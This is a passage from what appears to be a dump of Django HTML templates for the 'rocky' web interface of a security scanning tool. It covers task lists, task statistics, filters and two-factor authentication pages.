organization %}data-organization-code=\"{{ task.data.raw_data.boefje_meta.organization }}\"{% endif %}>\n                                    {% if not organization %}\n                                        <td>\n                                            <a href=\"{% url \"organization_crisis_room_landing\" task.data.raw_data.boefje_meta.organization %}\">{{ task.data.raw_data.boefje_meta.organization }}</a>\n                                        </td>\n                                    {% endif %}\n                                    <td>\n                                        <a href=\"{{ request.path }}?plugin_id={{ task.data.normalizer.id }}\"\n                                           title=\"{% translate \"Filter on this plugin\" %}\"><i class=\"icon filter\"></i></a>\n                                        <a href=\"{{ request.path }}{% querystring plugin_id=task.data.normalizer.id %}\"\n                                           title=\"{% translate \"Add filter on this plugin\" %}\"><i class=\"icon filteradd\"></i></a>\n                                        <a href=\"{% url \"normalizer_detail\" task.data.raw_data.boefje_meta.organization task.data.normalizer.id %}\">{{ task.data.normalizer.id }}</a>\n                                    </td>\n                                    <td class=\"nowrap\">\n                                        <i class=\"icon {{ task.status.value }}\"></i>&nbsp;<a href=\"{{ request.path }}?status={{ task.status.value }}\">{{ task.status.value|capfirst }}</a>\n                                    </td>\n                                    <td>{{ task.created_at }}</td>\n                                    <td>{{ task.modified_at }}</td>\n                                    <td>\n                                        {% if task.data.raw_data.boefje_meta.boefje.name %}\n                                            {% if task.data.raw_data.boefje_meta.boefje.id == \"manual\" %}\n                                                <p>{% translate \"Manually added\" %}</p>\n                                            {% else %}\n                                                <a href=\"{{ request.path }}?plugin_id={{ task.data.raw_data.boefje_meta.boefje.id }}\"\n                                                   title=\"{% translate \"Filter on this plugin\" %}\"><i class=\"icon filter\"></i></a>\n                                                <a href=\"{{ request.path }}{% querystring plugin_id=task.data.raw_data.boefje_meta.boefje.id %}\"\n                                                   title=\"{% translate \"Add filter on this plugin\" %}\"><i class=\"icon filteradd\"></i></a>\n                                                <a href=\"{% url \"boefje_detail\" task.data.raw_data.boefje_meta.organization task.data.raw_data.boefje_meta.boefje.id %}\">{{ task.data.raw_data.boefje_meta.boefje.name }}</a>\n                                            {% endif %}\n                                        {% else %}\n                                            <a href=\"{{ request.path }}?plugin_id={{ task.data.raw_data.boefje_meta.boefje.id }}\"\n                                               title=\"{% translate \"Filter on this plugin\" %}\"><i class=\"icon filter\"></i></a>\n                                            <a href=\"{{ request.path }}{% querystring plugin_id=task.data.raw_data.boefje_meta.boefje.id %}\"\n                                               title=\"{% translate \"Add filter on this plugin\" %}\"><i class=\"icon filteradd\"></i></a>\n                                            <a href=\"{% url \"boefje_detail\" task.data.raw_data.boefje_meta.organization task.data.raw_data.boefje_meta.boefje.id %}\">{{ task.data.raw_data.boefje_meta.boefje.id }}</a>\n                                        {% endif %}\n                                    </td>\n                                    <td>\n                                        {% if task.data.raw_data.boefje_meta.input_ooi %}\n                                            <a href=\"{{ request.path }}?ooi_id={{ task.data.raw_data.boefje_meta.input_ooi }}\"\n                                               title=\"{% translate \"Filter on this ooi\" %}\"><i class=\"icon filter\"></i></a>\n                                            <a href=\"{{ request.path }}{% querystring ooi_id=task.data.raw_data.boefje_meta.input_ooi %}\"\n                                               title=\"{% translate \"Add filter on this ooi\" %}\"><i class=\"icon filteradd\"></i></a>\n                                            <a href=\"{% ooi_url \"ooi_detail\" task.data.raw_data.boefje_meta.input_ooi task.data.raw_data.boefje_meta.organization observed_at=task.created_at|date:'c' %}\">{{ task.data.raw_data.boefje_meta.input_ooi }}</a>\n                                        {% endif %}\n                                    </td>\n                                    <td class=\"actions sticky-cell\">\n                                        <button type=\"button\"\n                                                class=\"expando-button normalizer-list-table-row\"\n                                                data-icon-open-class=\"icon ti-chevron-down\"\n                                                data-icon-close-class=\"icon ti-chevron-up\"\n                                                data-close-label=\"{% translate \"Close details\" %}\">\n                                            {% translate \"Open details\" %}\n                                        </button>\n                                    </td>\n                                </tr>\n                                <tr class=\"expando-row\">\n                                    <td colspan=\"{% if not organization.code %}8{% else %}7{% endif %}\">\n                                        {% include \"tasks/partials/task_actions.html\" %}\n\n                                    </td>\n                                </tr>\n                            {% endfor %}\n                        </tbody>\n                    </table>\n                </div>\n                {% include \"partials/list_paginator.html\" %}\n\n            {% endif %}\n        </section>\n        {% include \"tasks/partials/stats.html\" %}\n\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/taskDetails.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/tabs.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/ooi_detail_task_list.html",
    "content": "{% load i18n %}\n\n<div class=\"horizontal-scroll\">\n    <h2>{% translate \"Tasks\" %}</h2>\n    {% ooi_url 'ooi_detail' ooi.primary_key organization.code query=mandatory_fields as this_url %}\n    {% if not task_list %}\n        <p>{% translate \"There have been no tasks.\" %}</p>\n    {% else %}\n        {% include \"tasks/partials/task_filter.html\" with clear_filter_url=this_url %}\n\n        <table rf-selector=\"table-scan-history\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"Plugin\" %}</th>\n                    <th scope=\"col\">{% translate \"Status\" %}</th>\n                    <th scope=\"col\">{% translate \"Created date\" %}</th>\n                    <th scope=\"col\" class=\"visually-hidden actions\">{% translate \"Details\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for task in task_list %}\n                    <tr data-task-id=\"{{ task.id }}\"\n                        data-task-type=\"{{ task.type }}\"\n                        data-task-status=\"{{ task.status.value }}\">\n                        <td>\n                            {% if task.type == \"boefje\" %}\n                                <a href=\"{% url \"boefje_detail\" organization.code task.data.boefje.id %}\">{{ task.data.boefje.name }}</a>\n                            {% elif task.type == \"normalizer\" %}\n                                <a href=\"{% url \"normalizer_detail\" organization.code task.data.normalizer.id %}\">{{ task.data.normalizer.id }}</a>\n                            {% else %}\n                                {{ task.id }}\n                            {% endif %}\n                        </td>\n                        <td class=\"nowrap\">\n                            <i class=\"icon {{ task.status.value }}\"></i>&nbsp;{{ task.status.value|capfirst }}\n                        </td>\n                        <td class=\"nowrap\">{{ task.created_at }}</td>\n                        <td class=\"actions\">\n                            <button type=\"button\"\n                                    class=\"expando-button ooi-detail-task-list-table-row\"\n                                    data-icon-open-class=\"icon ti-chevron-down\"\n                                    data-icon-close-class=\"icon ti-chevron-up\"\n                                    data-close-label=\"{% translate \"Close details\" %}\">\n                                {% translate \"Open details\" %}\n                            </button>\n                        </td>\n                    </tr>\n                    <tr class=\"expando-row\">\n                        <td colspan=\"4\">\n                            {% include \"tasks/partials/task_actions.html\" %}\n\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    {% endif %}\n</div>\n{% include \"partials/list_paginator.html\" %}\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/partials/stats.html",
    "content": "{% load i18n %}\n\n{% if stats %}\n    <section>\n        <div>\n            <h2>{% translate \"Task statistics - Last 24 hours\" %}</h2>\n            {% if not stats_error %}\n                <div class=\"horizontal-scroll\">\n                    <table>\n                        <caption>{% translate \"All times in UTC, blocks of 1 hour.\" %}</caption>\n                        <thead>\n                            <tr>\n                                <th scope=\"col\">{% translate \"Timeslot\" %}</th>\n                                <th scope=\"col\">\n                                    {% translate \"Pending\" %}\n                                    <a href=\"{{ request.path }}?status=pending\"\n                                       title=\"{% translate \"Filter on this status\" %}\"><i class=\"icon filter\"></i></a>\n                                    <a href=\"{{ request.path }}{% querystring status='pending' %}\"\n                                       title=\"{% translate \"Add filter on this status\" %}\"><i class=\"icon filteradd\"></i></a>\n                                </th>\n                                <th scope=\"col\">\n                                    {% translate \"Queued\" %}\n                                    <a href=\"{{ request.path }}?status=queued\"\n                                       title=\"{% translate \"Filter on this status\" %}\"><i class=\"icon filter\"></i></a>\n                                    <a href=\"{{ request.path }}{% querystring status='queued' %}\"\n                                       title=\"{% translate \"Add filter on this status\" %}\"><i class=\"icon filteradd\"></i></a>\n                                </th>\n                                <th scope=\"col\">\n                                    {% translate \"Dispatched\" %}\n                                    <a href=\"{{ request.path }}?status=dispatched\"\n                                       title=\"{% translate \"Filter on this status\" %}\"><i class=\"icon filter\"></i></a>\n                                    <a href=\"{{ request.path }}{% querystring status='dispatched' %}\"\n                                       title=\"{% translate \"Add filter on this status\" %}\"><i class=\"icon filteradd\"></i></a>\n                                </th>\n                                <th scope=\"col\">\n                                    {% translate \"Running\" %}\n                                    <a href=\"{{ request.path }}?status=running\"\n                                       title=\"{% translate \"Filter on this status\" %}\"><i class=\"icon filter\"></i></a>\n                                    <a href=\"{{ request.path }}{% querystring status='running' %}\"\n                                       title=\"{% translate \"Add filter on this status\" %}\"><i class=\"icon filteradd\"></i></a>\n                                </th>\n                                <th scope=\"col\">\n                                    {% translate \"Completed\" %}\n                                    <a href=\"{{ request.path }}?status=completed\"\n                                       title=\"{% translate \"Filter on this status\" %}\"><i class=\"icon filter\"></i></a>\n                                    <a href=\"{{ request.path }}{% querystring status='completed' %}\"\n                                       title=\"{% translate \"Add filter on this status\" %}\"><i class=\"icon filteradd\"></i></a>\n                                </th>\n                                <th scope=\"col\">\n                                    {% translate \"Failed\" %}\n                                    <a href=\"{{ request.path }}?status=failed\"\n                                       title=\"{% translate \"Filter on this status\" %}\"><i class=\"icon filter\"></i></a>\n                                    <a href=\"{{ request.path }}{% querystring status='failed' %}\"\n                                       title=\"{% translate \"Add filter on this status\" %}\"><i class=\"icon filteradd\"></i></a>\n                                </th>\n                                <th scope=\"col\">\n                                    {% translate \"Cancelled\" %}\n                                    <a href=\"{{ request.path }}?status=cancelled\"\n                                       title=\"{% translate \"Filter on this status\" %}\"><i class=\"icon filter\"></i></a>\n                                    <a href=\"{{ request.path }}{% querystring status='cancelled' %}\"\n                                       title=\"{% translate \"Add filter on this status\" %}\"><i class=\"icon filteradd\"></i></a>\n                                </th>\n                            </tr>\n                        </thead>\n                        <tbody>\n                            {% for timestamp, values in stats.items %}\n                                <tr>\n                                    <th scope=\"row\" class=\"nowrap\">{{ timestamp }}:</th>\n                                    <td>\n                                        <span class=\"data\">{{ values.pending }}</span>\n                                    </td>\n                                    <td>\n                                        <span class=\"data\">{{ values.queued }}</span>\n                                    </td>\n                                    <td>\n                                        <span class=\"data\">{{ values.dispatched }}</span>\n                                    </td>\n                                    <td>\n                                        <span class=\"data\">{{ values.running }}</span>\n                                    </td>\n                                    <td>\n                                        <span class=\"data\">{{ values.completed }}</span>\n                                    </td>\n                                    <td>\n                                        <span class=\"data\">{{ values.failed }}</span>\n                                    </td>\n                                    <td>\n                                        <span class=\"data\">{{ values.cancelled }}</span>\n                                    </td>\n                                </tr>\n                            {% endfor %}\n                        </tbody>\n                    </table>\n                </div>\n            {% else %}\n                <p class=\"error\">{% translate \"Could not load stats, Scheduler error.\" %}</p>\n            {% endif %}\n        </div>\n    </section>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/partials/tab_navigation.html",
    "content": "{% load i18n %}\n\n<div>\n    <nav class=\"tabs\" aria-label=\"{% translate \"List of tasks\" %}\">\n        <ul>\n            <li {% if view == \"boefjes_tasks\" %}aria-current=\"page\"{% endif %}>\n                {% if organization %}\n                    <a href=\"{% url 'boefjes_task_list' organization.code %}\">{% translate \"Boefjes\" %}</a>\n                {% else %}\n                    <a href=\"{% url 'all_boefjes_task_list' %}\">{% translate \"Boefjes\" %}</a>\n                {% endif %}\n            </li>\n            <li {% if view == \"normalizers_tasks\" %}aria-current=\"page\"{% endif %}>\n                {% if organization %}\n                    <a href=\"{% url 'normalizers_task_list' organization.code %}\">{% translate \"Normalizers\" %}</a>\n                {% else %}\n                    <a href=\"{% url 'all_normalizers_task_list' %}\">{% translate \"Normalizers\" %}</a>\n                {% endif %}\n            </li>\n            <li {% if view == \"report_tasks\" %}aria-current=\"page\"{% endif %}>\n                {% if organization %}\n                    <a href=\"{% url 'reports_task_list' organization.code %}\">{% translate \"Reports\" %}</a>\n                {% else %}\n                    <a href=\"{% url 'all_reports_task_list' %}\">{% translate \"Reports\" %}</a>\n                {% endif %}\n            </li>\n        </ul>\n    </nav>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/partials/task_actions.html",
    "content": "{% load i18n %}\n\n{% if task.status.value in \"completed,failed\" %}\n    <section>\n        <p class=\"explanation\">{% translate \"Loading...\" %}</p>\n        <div id=\"yielded-objects-{{ task.id }}\">\n            <h2>{% translate \"Normalizer task\" %}: {{ task.id }}</h2>\n            {% if task.type == \"normalizer\" %}\n                <p>\n                    {% translate \"Processing input from Boefje task\" %}: <a href=\"{% url 'boefjes_task_list' organization_code=task.data.raw_data.boefje_meta.organization %}?task_id={{ task.data.raw_data.boefje_meta.id }}\">{{ task.data.raw_data.boefje_meta.id }}</a>\n                </p>\n                <p>{% translate \"Consuming Raw file\" %}: {{ task.data.raw_data.id }}</p>\n                <p>{% translate \"Yielded objects\" %}</p>\n            {% endif %}\n        </div>\n        <div id=\"yielded-rawfiles-{{ task.id }}\">\n            <h2>{% translate \"Yielded raw files for task\" %}: {{ task.id }}</h2>\n        </div>\n    </section>\n{% endif %}\n<section>\n    <div class=\"button-container\">\n        {% if task.status.value in \"completed,failed\" %}\n            {% if task.type == \"normalizer\" %}\n                <a class=\"button\"\n                   href=\"{% url 'bytes_raw' organization_code=task.data.raw_data.boefje_meta.organization boefje_meta_id=task.data.raw_data.boefje_meta.id %}\"><span class=\"icon ti-download\"></span>{% translate \"Download meta and raw data\" %}</a>\n                <a class=\"button ghost\"\n                   href=\"{% url 'boefjes_task_list' organization_code=task.data.raw_data.boefje_meta.organization %}?task_id={{ task.data.raw_data.boefje_meta.id }}\"><span class=\"icon search\"></span>{% translate \"Origin boefje task\" %}</a>\n                <a class=\"button ghost\"\n                   href=\"{% url 'normalizers_task_list' organization_code=task.data.raw_data.boefje_meta.organization %}?ooi_id={{ task.data.raw_data.boefje_meta.input_ooi }}&amp;plugin_id={{ task.data.normalizer.id }}\"><span class=\"icon search\"></span>{% translate \"See all similar tasks\" %}</a>\n                {% url 'task_list' organization_code=task.data.raw_data.boefje_meta.organization as taskurl %}\n                {% include \"partials/single_action_form.html\" with btn_text=_(\"Reschedule\") btn_class=\"ghost\" btn_icon=\"icon ti-refresh\" action=\"reschedule_task\" key=\"task_id\" url=taskurl value=task.id %}\n\n            {% elif task.type == \"boefje\" %}\n                <a class=\"button\"\n                   href=\"{% url 'bytes_raw' organization_code=task.data.organization boefje_meta_id=task.id %}\"><span class=\"icon ti-download\"></span>{% translate \"Download meta and raw data\" %}</a>\n                <a class=\"button ghost\"\n                   href=\"{% url 'boefjes_task_list' organization_code=task.data.organization %}?ooi_id={{ task.data.input_ooi }}&amp;plugin_id={{ task.data.boefje.id }}\"><span class=\"icon search\"></span>{% translate \"See all similar tasks\" %}</a>\n                <a class=\"button ghost\"\n                   href=\"{% url 'normalizers_task_list' organization_code=task.data.organization %}?ooi_id={{ task.data.input_ooi }}&amp;plugin_id={{ task.data.boefje.id }}\"><span class=\"icon search\"></span>{% translate \"Related Normalizer tasks\" %}</a>\n                {% url 'task_list' organization_code=task.data.organization as taskurl %}\n                {% include \"partials/single_action_form.html\" with btn_text=_(\"Reschedule\") btn_class=\"ghost\" btn_icon=\"icon ti-refresh\" action=\"reschedule_task\" key=\"task_id\" url=taskurl value=task.id %}\n\n            {% endif %}\n        {% else %}\n            {% if task.type == \"normalizer\" %}\n                <a class=\"button\"\n                   href=\"{% url 'download_task_meta' organization_code=task.data.raw_data.boefje_meta.organization task_id=task.id %}\"><span class=\"icon ti-download\"></span>{% translate \"Download task data\" %}</a>\n            {% elif task.type == \"boefje\" %}\n                <a class=\"button\"\n                   href=\"{% url 'download_task_meta' organization_code=task.data.organization task_id=task.id %}\"><span class=\"icon ti-download\"></span>{% translate \"Download task data\" %}</a>\n            {% endif %}\n        {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/partials/task_filter.html",
    "content": "{% load i18n %}\n\n<div class=\"filter\">\n    <div>\n        <button aria-expanded=\"false\"\n                data-hide-filters-label='{% translate \"Hide filters\" %}'>\n            {% translate \"Show filters\" %}\n            {% if active_filters_counter > 0 %}\n                ({{ active_filters_counter }} {% translate \"applied\" %})\n            {% endif %}\n        </button>\n    </div>\n    <form novalidate method=\"get\">\n        {% include \"partials/form/fieldset.html\" with fields=task_filter_form %}\n\n        <div class=\"button-container\">\n            <input type=\"submit\"\n                   value=\"{% if submit_text %}{{ submit_text }}{% else %}{% translate \"Set filters\" %}{% endif %}\" />\n            <a class=\"button ghost\"\n               href=\"{% if clear_filter_url %}{{ clear_filter_url }}{% else %}{{ request.path }}{% endif %}\">{% translate \"Clear filters\" %}</a>\n        </div>\n    </form>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/partials/tasks_overview_header.html",
    "content": "{% load i18n %}\n\n<div>\n    <h1>{% translate \"Tasks\" %}</h1>\n    <p>\n        {% blocktranslate trimmed %}\n            An overview of the tasks for <strong>{{ organization }}</strong>. Tasks are divided in Boefjes, Normalizers and Reports.\n            Boefjes scan objects and Normalizers dispatch on the output mime-type. Additionally, there is a Report\n            tasks. This task aggregates and presents findings from both Boefjes and Normalizers.\n        {% endblocktranslate %}\n    </p>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/plugin_detail_task_list.html",
    "content": "{% load i18n %}\n\n<div class=\"horizontal-scroll\">\n    <h2>{% translate \"Tasks\" %}</h2>\n    {% if not task_list %}\n        <p>{% translate \"There are no tasks for\" %} {{ plugin.name }}.</p>\n    {% else %}\n        <p>{% translate \"List of tasks for\" %} {{ plugin.name }}:</p>\n        {% include \"tasks/partials/task_filter.html\" %}\n\n        <table rf-selector=\"table-scan-history\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">{% translate \"Status\" %}</th>\n                    <th scope=\"col\">{% translate \"Created date\" %}</th>\n                    <th scope=\"col\">{% translate \"Input Object\" %}</th>\n                    <th scope=\"col\" class=\"visually-hidden actions\">{% translate \"Details\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for task in task_list %}\n                    <tr data-task-id=\"{{ task.id }}\"\n                        data-task-type=\"{{ task.type }}\"\n                        data-task-status=\"{{ task.status.value }}\">\n                        <td class=\"nowrap\">\n                            <i class=\"icon {{ task.status.value }}\"></i>&nbsp;{{ task.status.value|capfirst }}\n                        </td>\n                        <td>{{ task.created_at }}</td>\n                        <td>\n                            {% if task.type == \"boefje\" %}\n                                {% with ooi=task.data.input_ooi %}\n                                    <a href=\"{% ooi_url \"ooi_detail\" ooi organization.code observed_at=task.created_at|date:'c' %}\">{{ ooi }}</a>\n                                {% endwith %}\n                            {% elif task.type == \"normalizer\" %}\n                                {% with ooi=task.data.raw_data.boefje_meta.input_ooi %}\n                                    <a href=\"{% ooi_url \"ooi_detail\" ooi organization.code observed_at=task.created_at|date:'c' %}\">{{ ooi }}</a>\n                                {% endwith %}\n                            {% endif %}\n                        </td>\n                        <td class=\"actions\">\n                            <button type=\"button\"\n                                    class=\"expando-button normalizer-list-table-row\"\n                                    data-icon-open-class=\"icon ti-chevron-down\"\n                                    data-icon-close-class=\"icon ti-chevron-up\"\n                                    data-close-label=\"{% translate \"Close details\" %}\">\n                                {% translate \"Open details\" %}\n                            </button>\n                        </td>\n                    </tr>\n                    <tr class=\"expando-row\">\n                        <td colspan=\"4\">\n                            {% include \"tasks/partials/task_actions.html\" %}\n\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n        {% include \"partials/list_paginator.html\" %}\n\n    {% endif %}\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/tasks/reports.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            {% include \"tasks/partials/tasks_overview_header.html\" %}\n            {% include \"tasks/partials/tab_navigation.html\" with view=\"report_tasks\" %}\n\n            {% if not task_list %}\n                <div>\n                    <h2>{% translate \"Reports\" %}</h2>\n                    <p>{% translate \"There are no tasks for reports.\" %}</p>\n                </div>\n                {% include \"tasks/partials/task_filter.html\" %}\n\n            {% else %}\n                <div>\n                    <h2>{% translate \"Reports\" %}</h2>\n                    <p>{% translate \"List of tasks for reports.\" %}</p>\n                    <div class=\"horizontal-scroll sticky-column\">\n                        {% include \"tasks/partials/task_filter.html\" %}\n\n                        <table class=\"nowrap\">\n                            <caption class=\"visually-hidden\">{% translate \"Reports:\" %}</caption>\n                            <thead>\n                                <tr>\n                                    {% if not organization.code %}\n                                        <th scope=\"col\">{% translate \"Organization Code\" %}</th>\n                                    {% endif %}\n                                    <th scope=\"col\" class=\"nowrap\">{% translate \"Status\" %}</th>\n                                    <th scope=\"col\">{% translate \"Recipe ID\" %}</th>\n                                    <th scope=\"col\" class=\"nowrap\">{% translate \"Creation date\" %}</th>\n                                    <th scope=\"col\" class=\"nowrap\">{% translate \"Modified date\" %}</th>\n                                </tr>\n                            </thead>\n                            <tbody>\n                                {% for report_task in task_list %}\n                                    {% with recipe_pk=\"ReportRecipe|\"|add:report_task.data.report_recipe_id %}\n                                        <tr>\n                                            {% if not organization.code %}\n                                                <td>\n                                                    <a href=\"{% url \"organization_crisis_room_landing\" report_task.data.organisation_id %}\">{{ report_task.data.organisation_id }}</a>\n                                                </td>\n                                            {% endif %}\n                                            <td>\n                                                <i class=\"icon {{ report_task.status.value }}\"></i>{{ report_task.status.value|capfirst }}\n                                            </td>\n                                            <td>\n                                                <a href=\"{% ooi_url \"ooi_detail\" recipe_pk report_task.data.organisation_id query=ooi.mandatory_fields observed_at=report_task.created_at|date:'c' %}\">{{ report_task.data.report_recipe_id }}</a>\n                                            </td>\n                                            <td>{{ report_task.created_at }}</td>\n                                            <td>{{ report_task.modified_at }}</td>\n                                        </tr>\n                                    {% endwith %}\n                                {% endfor %}\n                            </tbody>\n                        </table>\n                        {% include \"partials/list_paginator.html\" %}\n\n                    </div>\n                </div>\n            {% endif %}\n        </section>\n        {% include \"tasks/partials/stats.html\" %}\n\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/_base.html",
    "content": "{% extends \"layouts/base.html\" %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/_base_focus.html",
    "content": "{% extends \"two_factor/_base.html\" %}\n\n{% block content_wrapper %}\n    {% include \"header.html\" with breadcrumbList=breadcrumbList %}\n\n    <main id=\"main-content\">\n        <article>\n            <div>\n                {% block content %}\n                {% endblock content %}\n            </div>\n        </article>\n    </main>\n{% endblock content_wrapper %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/_wizard_actions.html",
    "content": "{% load i18n %}\n\n<div class=\"button-container\">\n    {% if cancel_url %}\n        <a href=\"{{ cancel_url }}\" class=\"button ghost\">{% trans \"Cancel\" %}</a>\n    {% endif %}\n    {% if step == \"auth\" %}\n        <button type=\"submit\">{% trans \"Log in\" %}</button>\n    {% elif step == \"generator\" %}\n        <button type=\"submit\">{% trans \"Authenticate\" %}</button>\n    {% else %}\n        <button type=\"submit\">{% trans \"Submit\" %}</button>\n    {% endif %}\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/_wizard_forms.html",
    "content": "{% load i18n %}\n\n{{ wizard.management_form }}\n{% include \"partials/form/fieldset.html\" with fields=wizard.form %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/core/backup_tokens.html",
    "content": "{% extends \"two_factor/_base_focus.html\" %}\n\n{% load i18n %}\n\n{% block content %}\n    <h1>\n        {% block title %}\n            {% trans \"Backup Tokens\" %}\n        {% endblock title %}\n    </h1>\n    <form method=\"post\">\n        {% csrf_token %}\n        <p>\n            {% blocktrans trimmed %}\n                Backup tokens can be used when your primary and backup\n                phone numbers aren't available. The backup tokens below can be used\n                for login verification. If you've used up all your backup tokens, you\n                can generate a new set of backup tokens. Only the backup tokens shown\n                below will be valid.\n            {% endblocktrans %}\n        </p>\n        {% if device.token_set.count %}\n            <ul>\n                {% for token in device.token_set.all %}<li>{{ token.token }}</li>{% endfor %}\n            </ul>\n            <p>{% blocktrans %}Print these tokens and keep them somewhere safe.{% endblocktrans %}</p>\n        {% else %}\n            <p>{% trans \"You don't have any backup codes yet.\" %}</p>\n        {% endif %}\n        {% include \"partials/form/fieldset.html\" with fields=form %}\n\n        <div class=\"button-container\">\n            <button type=\"submit\">{% trans \"Generate Tokens\" %}</button>\n            <a href=\"{% url \"two_factor:profile\" %}\" class=\"button ghost\">{% trans \"Back to Account Security\" %}</a>\n        </div>\n    </form>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/core/login.html",
    "content": "{% extends \"two_factor/_base_focus.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% if user.is_authenticated %}\n        <h1>{% trans \"You are logged in.\" %}</h1>\n        {% if two_factor_enabled %}\n            <p>{% translate \"Two factor authentication is enabled for your account.\" %}</p>\n        {% else %}\n            <p>{% translate \"Two factor authentication is not enabled for your account. Enable it to continue.\" %}</p>\n            <a class=\"button a-button\" href=\"{% url \"setup\" %}\">{% trans \"Setup two factor authentication\" %}</a>\n        {% endif %}\n    {% else %}\n        <section class=\"layout-authentication\">\n            <div>\n                <h1>{% translate \"Login\" %}</h1>\n                <form action=\"\" method=\"post\" class=\"help\">\n                    {% csrf_token %}\n                    <fieldset>\n                        {% if wizard.steps.current == \"auth\" %}\n                            <legend>{% translate \"Credentials\" %}</legend>\n                        {% elif wizard.steps.current == \"backup\" %}\n                            <p class=\"explanation\"\n                               role=\"group\"\n                               aria-label=\"{% translate \"explanation\" %}\">\n                                <span>{% translate \"Explanation:\" %}</span>\n                                {% blocktrans trimmed %}\n                                    Use this form for entering backup tokens for logging in.\n                                    These tokens have been generated for you to print and keep safe. Please\n                                    enter one of these backup tokens to login to your account.\n                                {% endblocktrans %}\n                            </p>\n                        {% endif %}\n                        {% include \"partials/form/form_errors.html\" %}\n                        {% include \"two_factor/_wizard_forms.html\" with step=wizard.steps.current %}\n\n                        {# hidden submit button to enable [enter] key #}\n                        <input type=\"submit\" value=\"\" class=\"d-none\" />\n                        {% if backup_tokens %}\n                            <p>{% trans \"As a last resort, you can use a backup token:\" %}</p>\n                            <p>\n                                <button name=\"wizard_goto_step\"\n                                        type=\"submit\"\n                                        value=\"backup\"\n                                        class=\"secondary\">{% translate \"Use Backup Token\" %}</button>\n                            </p>\n                        {% endif %}\n                        {% include \"two_factor/_wizard_actions.html\" with step=wizard.steps.current %}\n\n                    </fieldset>\n                </form>\n            </div>\n        </section>\n    {% endif %}\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/core/otp_required.html",
    "content": "{% extends \"two_factor/_base_focus.html\" %}\n\n{% load i18n %}\n\n{% block content %}\n    <h1>\n        {% block title %}\n            {% trans \"Permission Denied\" %}\n        {% endblock title %}\n    </h1>\n    <p>\n        {% blocktrans trimmed %}\n            The page you requested, enforces users to verify using\n            two-factor authentication for security reasons. You need to enable these\n            security features in order to access this page.\n        {% endblocktrans %}\n    </p>\n    <p>\n        {% blocktrans trimmed %}\n            Two-factor authentication is not enabled for your\n            account. Enable two-factor authentication for enhanced account\n            security.\n        {% endblocktrans %}\n    </p>\n    <p>\n        <a href=\"#\" onclick=\"history.back()\" class=\"button\">{% trans \"Go back\" %}</a>\n        <a href=\"{% url \"two_factor:setup\" %}\" class=\"button\">{% trans \"Enable Two-Factor Authentication\" %}</a>\n    </p>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/core/phone_register.html",
    "content": "{% extends \"two_factor/_base_focus.html\" %}\n\n{% load i18n %}\n\n{% block content %}\n    <h1>\n        {% block title %}\n            {% trans \"Add Backup Phone\" %}\n        {% endblock title %}\n    </h1>\n    <form action=\"\" method=\"post\">\n        {% csrf_token %}\n        {% if wizard.steps.current == \"setup\" %}\n            <p>\n                {% blocktrans trimmed %}\n                    You'll be adding a backup phone number to your\n                    account. This number will be used if your primary method of\n                    registration is not available.\n                {% endblocktrans %}\n            </p>\n        {% elif wizard.steps.current == \"validation\" %}\n            <p>\n                {% blocktrans trimmed %}\n                    We've sent a token to your phone number. Please\n                    enter the token you've received.\n                {% endblocktrans %}\n            </p>\n        {% endif %}\n        {% include \"two_factor/_wizard_forms.html\" with step=wizard.steps.current %}\n\n        {# hidden submit button to enable [enter] key #}\n        <input type=\"submit\" value=\"\" class=\"d-none\" />\n        {% include \"two_factor/_wizard_actions.html\" %}\n\n    </form>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/two_factor/core/setup.html",
    "content": "{% extends \"two_factor/_base_focus.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    <h1>{% trans \"Enable Two-Factor Authentication\" %}</h1>\n    <form class=\"help\">\n        <fieldset>\n            <div class=\"explanation\"\n                 role=\"group\"\n                 aria-label=\"explanation qrcode generator\">\n                <p>\n                    {% blocktrans trimmed %}\n                        To start using a token generator, please use your\n                        smartphone to scan the QR code below or use the setup key.\n                        For example, use GoogleAuthenticator.\n                        Then, enter the token generated by the app.\n                    {% endblocktrans %}\n                </p>\n            </div>\n            <div>\n                <label>{% translate \"QR code\" %}</label>\n                <img class=\"qr-code-image\" src=\"{{ QR_URL }}\" alt=\"QR Code\" />\n            </div>\n            <div>\n                <label>{% translate \"Setup key\" %}</label>\n                <input id=\"totp-input\" type=\"text\" value=\"{{ secret_key }}\" />\n                <p class=\"explanation\"\n                   data-open-label=\"Explanation of the secret key.\"\n                   data-close-label=\"Close explanation of the secret key\">\n                    {% blocktrans trimmed %}\n                        The secret key is a 32 characters representation of the QR code.\n                        There are 2 options to setup the two factor 